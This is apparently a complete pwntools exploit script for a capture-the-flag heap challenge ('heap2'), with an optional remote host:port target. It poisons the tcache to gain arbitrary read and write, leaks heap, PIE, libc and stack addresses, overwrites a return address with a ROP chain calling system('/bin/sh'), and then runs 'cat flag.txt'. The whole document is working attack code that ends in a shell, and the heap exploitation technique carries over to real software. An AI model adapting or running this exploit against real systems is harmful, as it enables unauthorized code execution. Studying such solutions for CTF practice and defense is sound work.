1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from inspect import stack
from pwn import *
context.terminal = "tmux neww -a".split()
exe = context.binary = ELF(args.EXE or "./heap2")
libc = exe.libc
assert libc is not None
def start(argv=[], *a, **kw):
if args.REMOTE:
# parse things of this format 83.136.254.84:36100
addr, port = args.REMOTE.split(":")
return remote(addr, int(port))
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = """
continue
""".format(**locals())
io = start()
sla = io.sendlineafter
sa = io.sendafter
sl = io.sendline
ru = io.recvuntil
rl = io.recvline
def add(msg: bytes):
sla(b"oice: ", b"1")
sla(b"Enter message name: ", msg)
ru(b"Message added at index ")
return int(rl(keepends=False).strip().decode())
def dele(idx: int):
sla(b"oice: ", b"2")
sla(b"Index to delete: ", str(idx).encode())
ru(b"Message name freed")
def edit(idx: int, msg: bytes):
sla(b"oice: ", b"3")
sla(b"Index to edit: ", str(idx).encode())
sla(b"Enter new name: ", msg)
# ru(b"=== Message Manager === ")
def show(idx: int):
sla(b"oice: ", b"4")
sla(b"Index to show: ", str(idx).encode())
ru(b"Notification: ")
return rl(keepends=False)
niceidx = add(b"nice")
viceidx = add(b"vice")
dele(niceidx)
dele(viceidx)
heapbase = u64(show(niceidx).ljust(8, b"\x00")) << 12
target = 0x2A0 + heapbase
# target = 0xDEADBEEFCAFEBABE
encd = target ^ (heapbase >> 12)
edit(viceidx, p64(encd))
dummyidx = add(b"dummy")
ptridx = add(b"ptr")
# arbitrary address read primitive
def aar(addr) -> bytes:
edit(ptridx, p64(addr))
leak = show(niceidx)
return leak
# arbitrary address write primitve
def aaw(addr, data: bytes):
edit(ptridx, p64(addr))
edit(niceidx, data)
pie_addr_at = heapbase + 0x2B0
pieaddr = aar(pie_addr_at)
pieaddr = u64(pieaddr.ljust(8, b"\x00"))
exe.address = pieaddr - exe.sym["default_notify"]
got_addr = exe.got["puts"]
put_addr = aar(got_addr)
put_addr = u64(put_addr.ljust(8, b"\x00"))
libc.address = put_addr - libc.sym["puts"]
stack_addr = aar(libc.sym["environ"])
stack_addr = u64(stack_addr.ljust(8, b"\x00"))
egg = libc.address + 0x29D90
def egghunt(start, egg):
for i in range(0, 0x1000, 8):
addr = start - i
at_addr = aar(addr)
at_addr = at_addr[:8]
at_addr = at_addr.ljust(8, b"\x00")
at_addr = u64(at_addr)
if at_addr == egg:
return addr
else:
error("egghunt failed. maybe stick to something veg ....")
retaddr = egghunt(stack_addr, egg)
rop = ROP(libc)
rop.raw(rop.ret)
rop.call("system", [next(libc.search(b"/bin/sh\x00"))])
info(rop.dump())
# __import__("ipdb").set_trace()
aaw(retaddr, bytes(rop))
sla(b"Choice:", b"5")
sl(b"cat flag.txt")
success(io.recvline_contains(b"{"))
|